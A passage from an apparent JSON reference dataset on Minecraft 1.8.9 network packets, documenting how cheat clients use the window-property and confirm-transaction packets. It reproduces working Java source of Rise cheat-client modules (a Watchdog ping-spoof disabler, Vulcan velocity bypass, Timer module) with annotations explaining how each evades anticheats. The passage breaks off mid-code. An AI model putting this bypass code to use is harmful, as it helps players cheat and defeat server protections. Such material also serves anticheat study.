      "p": "S31PacketWindowProperty carries one container property update: unsigned byte windowId, short property id, short value. The meaning of the property id is container-type specific. The furnace uses 0 for burn time remaining, 1 for item cook progress, 2 for total cook time. The enchantment table uses 0-2 for the three level slots, the brewing stand 0 for brew time, the beacon 0 for power level. Tile entities push these through updateProgressBar whenever a field changes, typically once per tick while active."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleWindowProperty resolves the container by window id and calls Container.updateProgressBar, which writes into the container's progress array. The GUI renderers (furnace flame, enchant glint, brewing bubbles) read that array every frame. Server side, EntityPlayerMP.sendProgressBarUpdate (lines 783 and 788 in the bundled sources) forwards a single property and sendAllWindowProperties pushes every field when the window opens. The values are absolute, not deltas."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients has a module for this packet. The only non-vanilla hits are the Rise 6.x NetworkAPI script registration table (both 6.1.30 and 6.2.4) and the vanilla handler files. Auto-enchant and auto-brewer style modules, which would read S31 to time clicks, do not exist in these corpora. The 8 clients concentrate their inventory effort on stealing, armor handling and transaction sync, not on container progress."
     },
     {
      "h": "Exploit surface",
      "p": "There is no exploit surface in this corpus. S31 is display-only state: the client renders the value and nothing else depends on it. A malicious server could flood S31 to churn the GUI renderer, but that is a server-side attack with no client counterpart, and no anti-cheat measures the packet because it carries no movement, combat or inventory-trust signal. Modules that needed progress data would have to parse the property stream themselves; none do."
     }
    ],
    "overview": "The container progress packet: furnace flames, enchant levels, brewing bubbles. Zero module hits in the 8 clients; the only non-vanilla reference is the Rise 6.x script API registration table. This is render data with no cheat value in this corpus.",
    "server_handling": "EntityPlayerMP.sendProgressBarUpdate constructs S31(windowId, var, value) and sends it whenever the open container's fields change; sendAllWindowProperties (line 788) pushes every field when the window opens. NetHandlerPlayClient.handleWindowProperty calls Container.updateProgressBar on the resolved container, which stores the value for the GUI to read. No validation, no rate limit, no client echo.",
    "protocol_notes": "Wire: unsigned byte windowId, short property, short value. Property semantics are fixed per container class, not negotiated: furnace 0-2, enchantment table 0-2, brewing stand 0, beacon 0. Values are absolute ticks or levels so the GUI can render progress without keeping history. PLAY state only, and only while the corresponding container is open; the server stops sending once the player closes the window.",
    "anticheat_landscape": "Nothing to flag: S31 is server-authoritative display data, sent at most a few times per second per open container, and no movement, combat or inventory-trust check reads it. The only conceivable abuse is a server spamming S31 to load the GUI render path, a denial-of-service vector aimed at the client rather than something a cheat client would do.",
    "modules": [],
    "general_hooks": "No module hooks exist in the corpus. The packet reaches containers exclusively through the vanilla handler.",
    "client_variations": "Rise 6.1.30 and 6.2.4 register S31 in NetworkAPI so scripts can listen to it; that registration is the only non-vanilla reference in the corpus.",
    "related": [
     "C11PacketEnchantItem",
     "S2DPacketOpenWindow",
     "S30PacketWindowItems"
    ],
    "anticheat": {
     "overview": "The corpus for this packet is empty: the mined index (data/ac-mined/S31PacketWindowProperty.txt) has no hits because the search terms were the MCP name S31PacketWindowProperty and the modern PacketPlayOutWindowProperty, while the 1.8 anticheats that know the packet call it WindowData. A direct grep of the anticheat root confirms the only references are registrations: Artemis maps SERVER_PLAY + 88 to PacketPlayServerWindowData and Negativity lists WINDOW_DATA in its PacketType enum. Neither runs a check on it. Container property updates are server-authoritative display data (furnace burn time, enchant levels, brewing progress) with no client-trust signal, so nothing flags them.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The furnace uses four properties, not three: 0 is fuel left counting down, 1 is maximum fuel burn time, 2 is cook progress counting up, and 3 is maximum progress (always 200 on vanilla).",
    "The enchantment table uses property 3 for the enchantment seed that drives the rune names shown clientside, and the beacon uses properties 1 and 2 for its first and second potion effect IDs (-1 means no effect).",
    "The anvil uses property 0 for the repair cost in XP levels, and brewing-stand property 0 is a 0-400 countdown where 400 renders an empty arrow and 0 a full one.",
    "MCP 1.8.9 S31PacketWindowProperty implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleWindowProperty; wire serde is readPacketData/writePacketData via readShort, readUnsignedByte.",
    "1.8.9 callers: EntityPlayerMP.sendProgressBarUpdate sends new S31PacketWindowProperty (line 886): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S31PacketWindowProperty/",
   "mcp_path": "net/minecraft/network/play/server/S31PacketWindowProperty.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S32PacketConfirmTransaction",
   "hex": "0x32",
   "dec": 50,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Confirm Transaction",
   "desc": "Server confirms or rejects an inventory transaction from C0EPacketClickWindow. accepted=false causes client to revert inventory.",
   "tags": [
    "inventory",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID of the container"
    },
    {
     "name": "actionNumber",
     "type": "short",
     "desc": "Transaction action number from the click packet"
    },
    {
     "name": "accepted",
     "type": "boolean",
     "desc": "Whether the server accepted the click"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "byte",
     ""
    ],
    [
     "Action Number",
     "short",
     ""
    ],
    [
     "Accepted",
     "bool",
     "false = reject + inventory revert"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleConfirmTransaction()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "If accepted=false, the client empties and refills its inventory by re-reading all slots from the server (C30PacketWindowItems is re-sent). This is how the server corrects desynced client inventory.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S32PacketConfirmTransaction is the server's reply to each serverbound C0F click confirmation: byte windowId, short actionNumber, boolean accepted. The action number is a per-container short counter the client increments on every click and echoes back; the server replies true when the number matches its own expectation and false when it does not. A false reply marks the window desynced and triggers a full S30 resync. The pair is also the de facto latency probe on post-2018 anti-cheats, which is why it is the most exploited clientbound packet in the Rise 6.x corpus."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processConfirmTransaction (lines 886-893 in the bundled sources) compares the echoed action number against the container's expected value: a match replies S32(windowId, action, true), a mismatch replies false and pushes S30 to force the client revert. NetHandlerPlayClient.handleConfirmTransaction resolves the container by window id and treats accepted=false as an order to re-read the window, which is how the server undoes any client-side inventory manipulation."
     },
     {
      "h": "Why clients touch it",
      "p": "Seven distinct uses in the 10-client corpus. Rise 6.x WatchdogDisabler cancels negative-action S32 confirmations and replays the buffered C0F confirms a second later, a ping-spoof disabler. The 6.2.4 velocity modes (VulcanVelocity, WatchdogVelocity, WatchdogPredictionVelocity) cancel S32 on hit and answer with a deliberately corrupt C0F to desync transaction accounting around knockback. Timer queues S32 while its Watchdog timer mode runs behind a 9,999,999 ms ping spoof. InventorySync rewinds the container transaction counter from S32 values so spoofed clicks keep valid action numbers. Debugger prints every action number. November Recode 2.0's VelocityModule GRIM mode cancels S32 after a velocity cancel, queues the action numbers, and drops the matching C0F on send, a transaction-desync knockback bypass. LiquidSense Dev overwrites handleConfirmTransaction to auto-ack rejected windows through its own send-queue mixin."
     },
     {
      "h": "Exploit surface",
      "p": "The action counter is a short and the server only checks equality, so fabricating C0F replies is trivial; the subtlety is timing. Buffering C0F and cancelling S32 breaks the correlation the anti-cheat builds between server time and client time, which is the entire point of the Watchdog-era disabler. Cancelling an accepted=false S32 also prevents the inventory revert, which is what keeps ghost-item states alive. The cost is that the server's inventory truth diverges until a legitimate S30 lands, so the exploit is self-limiting."
     }
    ],
    "overview": "The confirmation half of the C0F/S32 transaction pair and the most exploited clientbound packet in the Rise 6.x corpus. WatchdogDisabler cancels and replays it, the velocity modes corrupt the transaction stream on hit, Timer queues it behind a ping spoof, InventorySync rewinds the action counter, and Debugger prints it. Spicy imports it and never instantiates it. November Recode 2.0 adds a GRIM transaction-queue velocity mode and LiquidSense Dev a handleConfirmTransaction overwrite.",
    "server_handling": "NetHandlerPlayServer.processConfirmTransaction (lines 886-893) replies S32(windowId, actionNumber, true) when the action matches the container's next expected short, otherwise false followed by updateCraftingInventory, which pushes S30. The container counter is per-window, starts at 0, and must be echoed exactly. The client handler resolves the container by window id; a false reply marks the window desynced and the server's S30 dump reverts the client's slot view.",
    "protocol_notes": "Wire: byte windowId, short actionNumber, boolean accepted. C0F (serverbound) and S32 (clientbound) share windowId and actionNumber semantics; negative action numbers are legal and several anti-cheats use them as markers, which is why WatchdogDisabler specifically buffers transactions with actionNumber < 0. The pair doubles as a latency reference on Verus and Watchdog-class anti-cheats, so ping spoofers buffer C0F and S32 together with keepalives and flush them as one batch.",
    "anticheat_landscape": "Verus and Watchdog-class anti-cheats fold C0F gaps into their latency model for movement checks. WatchdogDisabler's ping-spoof mode (cancel negative S32, replay all C0F confirms after 1s) and Spicy's Disabler (cancel every C0F, replay one every 500-1250ms) inflate measured ping and break that model. VulcanVelocity cancels S32 only when hurtTime == 10 and answers with a corrupt C0F, a Vulcan-specific knockback desync. The detection risk is not the packet itself but the divergence it causes: servers that resync on rejection eventually expose any client that keeps clicking stale windows.",
    "modules": [
     {
      "name": "Debugger",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Print every S32 action number to chat as a development aid.",
      "how_it_works": "PacketReceiveEvent; on S32, read the action number and push a chat message. Also prints S00 keepalive keys through the same handler.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Debugger.java =====\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n@ModuleInfo(name = \"Debugger\", description = \"Debugs packets\", category = Category.OTHER)\npublic final class Debugger extends Module {\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S32PacketConfirmTransaction) {\n            final S32PacketConfirmTransaction wrapper = ((S32PacketConfirmTransaction) packet);\n\n            Rise.addChatMessage(\"Transaction | id: \" + wrapper.getActionNumber());\n        }\n\n        if (packet instanceof S00PacketKeepAlive) {\n            final S00PacketKeepAlive wrapper = ((S00PacketKeepAlive) packet);\n\n            Rise.addChatMessage(\"KeepAlive | id: \" + wrapper.func_149134_c());\n        }\n    }\n}\n\n// NOTE (AI): Prints every S32 action number and every S00 keepalive key to chat; the module is a development aid with no gameplay effect.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Debugger.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "None; the module only reads and prints.",
      "variations": "Rise 6.1.30 and 6.2.4 keep the same pattern (6.x checks transaction.getValue() and the packet type at line 109-110) with the same output."
     },
     {
      "name": "WatchdogDisabler",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Watchdog disabler mode: ping-spoof by cancelling negative-action S32 confirmations and replaying all C0F confirms after a one second delay; inventory mode re-wraps C0E clicks.",
      "how_it_works": "PacketReceiveEvent: on S07 respawn, reset every queue and flag; if the ping-spoof value is on and S32 has a negative action number and the disabler is not already disabled, buffer the action, reset the stopwatch, and cancel the event. PreMotionEvent: when actions are buffered and one second elapsed, shuffle the list, send C0F(0, action, true) for each via sendPacket (bypassing the bus), and clear. PacketSendEvent: inventory mode cancels C0E for the player inventory when no GUI is open and re-sends it as C16 open-inventory, C0E, C0D close via sendUnregisteredPacket.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.server.S07PacketRespawn;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.Vec3;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.*;\n\npublic class WatchdogDisabler extends Mode<Disabler> {\n\n    private boolean disabled;\n    private List<Short> actionNumbers;\n    private StopWatch transactionStopwatch;\n    private Queue<Vec3> positionQueue;\n    private Queue<Packet<?>> transactionQueue;\n    private Queue<Packet<?>> blinkQueue;\n    private StopWatch pingStopwatch;\n\n    public WatchdogDisabler(String name, Disabler parent) {\n        super(name, parent);\n\n        this.positionQueue = new ArrayDeque<>();\n        this.transactionQueue = new ArrayDeque<>();\n        this.pingStopwatch = new StopWatch();\n        this.blinkQueue = new ArrayDeque<>();\n        this.actionNumbers = new ArrayList<>();\n        this.transactionStopwatch = new StopWatch();\n    }\n\n    public final BooleanValue morePackets = new BooleanValue(\"More Packets\", this, false);\n    public final BooleanValue ban = new BooleanValue(\"Ping Spoof\", this, false);\n    public final BooleanValue inventory = new BooleanValue(\"Inventory\", this, false);\n\n    @EventLink\n    private final Listener<TeleportEvent> onTeleport = event -> {\n    };\n\n    @EventLink\n    private final Listener<PreMotionEvent> preMotionEventListener = event -> {\n        if (ban.getValue()) {\n            if (!this.actionNumbers.isEmpty() && this.transactionStopwatch.finished(1000L)) {\n                Collections.shuffle(this.actionNumbers);\n                this.actionNumbers.forEach(action -> mc.getNetHandler().getNetworkManager().sendPacket(new C0FPacketConfirmTransaction(0, action, true)));\n                this.actionNumbers.clear();\n                this.disabled = true;\n            }\n        }\n    };\n\n    @EventLink\n    private final Listener<PacketReceiveEvent> packetReceiveEventListener = event -> {\n        if (event.getPacket() instanceof S07PacketRespawn) {\n            this.positionQueue.clear();\n            this.transactionQueue.clear();\n            this.pingStopwatch.reset();\n            this.blinkQueue.clear();\n            this.transactionStopwatch.reset();\n            this.actionNumbers.clear();\n            this.disabled = false;\n        }\n\n        if (ban.getValue()) {\n            if (event.getPacket() instanceof S32PacketConfirmTransaction) {\n                final S32PacketConfirmTransaction transaction = (S32PacketConfirmTransaction) event.getPacket();\n\n                if (transaction.getActionNumber() < 0) {\n                    if (!this.disabled) {\n                        this.actionNumbers.add(transaction.getActionNumber());\n                        transactionStopwatch.reset();\n\n                        event.setCancelled(true);\n                    }\n                }\n            }\n        }\n    };\n\n    @EventLink\n    private final Listener<PacketSendEvent> packetSendEventListener = event -> {\n        if (inventory.getValue()) {\n            if (event.getPacket() instanceof C0EPacketClickWindow && ((C0EPacketClickWindow) event.getPacket()).getWindowId() == mc.thePlayer.inventoryContainer.windowId && !(mc.currentScreen instanceof GuiInventory)) {\n                event.setCancelled();\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(event.getPacket());\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n            }\n        }\n    };\n}\n\n// NOTE (AI): Only negative action numbers are buffered; those are the Watchdog marker transactions. The replay sends C0F(0, action, true) for every buffered action after one second, re-acknowledging clicks the server thinks are still in flight. Sending via sendPacket bypasses the event bus, so the replay itself cannot be re-cancelled.\n",
      "code_source": "Rise 6.1.30, com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, PacketSendEvent.",
      "anti_cheat_notes": "Negative-action transactions are the Watchdog marker; replaying them as confirms while cancelling the server's S32 keeps the server waiting on the client's timer, inflating the measured ping. The replay bypasses the event bus so it cannot be re-cancelled by another module.",
      "variations": "The 6.2.4 version is a superset (278 lines) with the same core plus additional queues; 6.1.30 (104 lines) is the canonical minimal form."
     },
     {
      "name": "InventorySync",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Keep the client container transaction counter aligned with server confirmations.",
      "how_it_works": "PacketReceiveEvent; on S32 for the player inventory container, store the action number; if 0 < action < container.transactionID, set transactionID = action + 1. This rewinds the client counter so the next C0E action number is a value the server has not seen yet, which matters when other modules (disablers, ping spoofers) have already consumed actions.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/InventorySync.java =====\npackage com.alan.clients.module.impl.player;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n@ModuleInfo(aliases = {\"module.player.inventorysync.name\"}, description = \"module.player.inventorysync.description\", category = Category.PLAYER)\npublic class InventorySync extends Module {\n\n    public short action;\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S32PacketConfirmTransaction) {\n            final S32PacketConfirmTransaction wrapper = (S32PacketConfirmTransaction) packet;\n            final Container inventory = mc.thePlayer.inventoryContainer;\n\n            if (wrapper.getWindowId() == inventory.windowId) {\n                this.action = wrapper.getActionNumber();\n\n                if (this.action > 0 && this.action < inventory.transactionID) {\n                    inventory.transactionID = (short) (this.action + 1);\n                }\n            }\n        }\n    };\n}\n\n// NOTE (AI): Rewinding container.transactionID to action + 1 ensures the next C0E click gets an action number the server has not yet seen, which keeps click sync valid while other modules consume or spoof transactions.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/InventorySync.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "None directly; it is the repair module that keeps click sync valid while other modules spoof transactions.",
      "variations": "Identical logic in 6.1.30 (same 34-line file under com/alan/clients)."
     },
     {
      "name": "VulcanVelocity / WatchdogVelocity / WatchdogPredictionVelocity",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Velocity bypass keyed on S32 timing: cancel the confirmation on hit and answer with a corrupt C0F to desync the anti-cheat's transaction accounting.",
      "how_it_works": "PacketReceiveEvent; on S32 when hurtTime == 10 (just hit), cancel the confirmation and send a fabricated C0F whose windowId and uid alternate between 1/-1 and -1/1 with the accepted flag toggling. Also cancels or scales S12 velocity and S27 explosion, with the Vulcan Speed mode check deciding between full cancel and 1.9x multiplication.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/VulcanVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.movement.Sprint;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S27PacketExplosion;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\npublic final class VulcanVelocity extends Mode<Velocity> {\n\n    private final NumberValue horizontal = new NumberValue(\"Horizontal\", this, 0, 0, 100, 1);\n    private final NumberValue vertical = new NumberValue(\"Vertical\", this, 0, 0, 100, 1);\n    private boolean transaction = false;\n\n    public VulcanVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (getParent().onSwing.getValue() && !mc.thePlayer.isSwingInProgress || event.isCancelled()) return;\n\n        final Packet<?> p = event.getPacket();\n        final double horizontal = this.horizontal.getValue().doubleValue();\n        final double vertical = this.vertical.getValue().doubleValue();\n\n\n        if (p instanceof S12PacketEntityVelocity) {\n            final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n\n            if (wrapper.getEntityID() == mc.thePlayer.getEntityId()) {\n                if (horizontal == 0 && vertical == 0) {\nif(!(getModule(Speed.class).mode.getValue().getName()==\"Vulcan\") || !getModule(Speed.class).isEnabled() || !MoveUtil.isMoving()){\n    event.setCancelled();\n                    } else {\n\n    wrapper.motionX *= 1.9;\n    wrapper.motionY *= 1;\n    wrapper.motionZ *=1.9;\n}\n\n                    return;\n                }\n\n                wrapper.motionX *= 1;\n                wrapper.motionY *= 1;\n                wrapper.motionZ *=1;\n\n                event.setPacket(wrapper);\n            }\n        }\n\n\n        if (p instanceof S27PacketExplosion) {\n            final S27PacketExplosion wrapper = (S27PacketExplosion) p;\n\n            if (horizontal == 0 && vertical == 0) {\n                event.setCancelled();\n                return;\n            }\n\n            wrapper.posX *= horizontal / 100;\n            wrapper.posY *= vertical / 100;\n            wrapper.posZ *= horizontal / 100;\n\n            event.setPacket(wrapper);\n        }\n\n\n        if (p instanceof S32PacketConfirmTransaction && mc.thePlayer.hurtTime == 10) {\n            event.setCancelled(true);\n            PacketUtil.send(new C0FPacketConfirmTransaction((short) (transaction ? 1 : -1), (short) (transaction ? -1 : 1), transaction));\n            transaction = !transaction;\n\n\n        }\n    };\n}\n\n// NOTE (AI): The S32 cancel is gated on hurtTime == 10 so it only fires during actual hit processing. The replacement C0F alternates windowId and uid between 1/-1 and -1/1 with the accepted flag toggling, a deliberately corrupt transaction aimed at Vulcan's window accounting.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/VulcanVelocity.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Vulcan-specific: the S32 gate ensures the spoof only fires during actual hit processing, and the corrupt transaction makes Vulcan's window accounting lose track of the knockback. A pure timing desync rather than a packet-rate abuse.",
      "variations": "WatchdogVelocity (452 lines) and WatchdogPredictionVelocity (204 lines) implement the same S32-gated idea for Watchdog, the prediction variant replaying anticipated confirmations."
     },
     {
      "name": "Timer",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Watchdog timer mode that hides accelerated ticks behind a massive ping spoof.",
      "how_it_works": "With the watchdog value on: PreMotionEvent forces onGround true; PreUpdateEvent calls PingSpoofComponent.spoof(9999999, ...) which buffers keepalives and transactions; PacketSendEvent intercepts S32 on ground, queues it into packetList and cancels the event; StrafeEvent flushes the queued packets via PacketUtil.queue and PingSpoofComponent.dispatch when the attempt flag is set (module key toggles attempt for 200 ms). S12 velocity and S08 teleport are cancelled on receive.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Timer.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.BlinkComponent;\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.JumpEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.other.TickEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.math.MathUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.packet.custom.impl.PlayPongC2SPacket;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.BoundsNumberValue;\nimport com.viaversion.viaversion.api.protocol.version.ProtocolVersion;\nimport de.florianmichael.vialoadingbase.ViaLoadingBase;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.Vec3;\nimport org.apache.commons.compress.utils.Lists;\n\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.ThreadLocalRandom;\n\n@ModuleInfo(aliases = {\"module.other.timer.name\"}, description = \"module.other.timer.description\", category = Category.MOVEMENT)\npublic final class Timer extends Module {\n    private boolean attempt;\n\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packetList = new ConcurrentLinkedQueue<>();\n    private int ticksSinceTeleport;\n\n    private long ticks2;\n    private boolean teleport;\n    private final BoundsNumberValue timer =\n            new BoundsNumberValue(\"Timer\", this, 1, 2, 0.1, 20, 0.05);\n\n    public final BooleanValue watchdog = new BooleanValue(\"Watchdog\", this, false);\n\n    @EventLink(value = Priorities.MEDIUM)\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if(!watchdog.getValue()) {\n\n\n            mc.timer.timerSpeed = (float) MathUtil.getRandom(timer.getValue().floatValue(), timer.getSecondValue().floatValue());\n        } else if (watchdog.getValue()){\n            event.setOnGround(true);\n\n            if(attempt && System.currentTimeMillis() > ticks2){\n                mc.thePlayer.motionX *= 0;\n                mc.thePlayer.motionZ *= 0;\n                ticks2 = 0;\n                getModule(Timer.class).toggle();\n\n\n            }\n\n\n\n\n        }\n    };\n\n    @EventLink(value = Priorities.HIGH)\n    public final Listener<PreUpdateEvent> onHighPreUpdate = event -> {\n        if(watchdog.getValue()) {\n            PingSpoofComponent.spoof(9999999, false, false, false, false, true);\n            mc.thePlayer.safeWalk = true;\n        }\n    };\n\n\n    @EventLink\n    public final Listener<TickEvent> onTick = event -> {\n        if(watchdog.getValue() && !attempt) {\n            if (mc.thePlayer.onGround) {\n                ticksSinceTeleport++;\n\n                double x = mc.thePlayer.posX;\n                double y = mc.thePlayer.posY;\n                double z = mc.thePlayer.posZ;\n                float yaw = mc.thePlayer.rotationYaw;\n                float pitch = mc.thePlayer.rotationPitch;\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y-0.0000000000000001, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y+ 0.07, z,  true));\n                PacketUtil.send(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z,  true));\n                mc.timer.timerSpeed = (float)(timer.getValue().floatValue());\n                teleport = true;\n            } else if(watchdog.getValue()){\n             //   this.mc.timer.timerSpeed = 1;\n             //   MoveUtil.stop();\n\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<MoveInputEvent> onMove = event -> {\n        if(watchdog.getValue()) {\n            if (mc.thePlayer.onGround && ticksSinceTeleport == 0) {\n                MoveUtil.stop();\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        if(watchdog.getValue()) {\n\n            if (attempt) {\n                MoveUtil.stop();\n                this.mc.timer.timerSpeed = 1f;\n                if (mc.thePlayer.onGround) {\n                    packetList.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n                    packetList.clear();\n                    PingSpoofComponent.dispatch();\n                    // mc.thePlayer.jump();\n                }\n\n            }\n        }\n    };\n\n\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if(watchdog.getValue()) {\n            if (mc.thePlayer.onGround) {\n                Packet<?> packet = event.getPacket();\n\n                if (packet instanceof S32PacketConfirmTransaction) {\n                    packetList.add(new PacketUtil.TimedPacket(packet));\n                    event.setCancelled();\n                }\n\n            } else {\n             //   packetList.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n             //   packetList.clear();\n            }\n        }\n\n    };\n    @EventLink()\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n\nif(watchdog.getValue()) {\n    final Packet<?> p = event.getPacket();\n    if (p instanceof S12PacketEntityVelocity) {\n        final S12PacketEntityVelocity wrapper = (S12PacketEntityVelocity) p;\n        event.setCancelled();\n    }\n    if 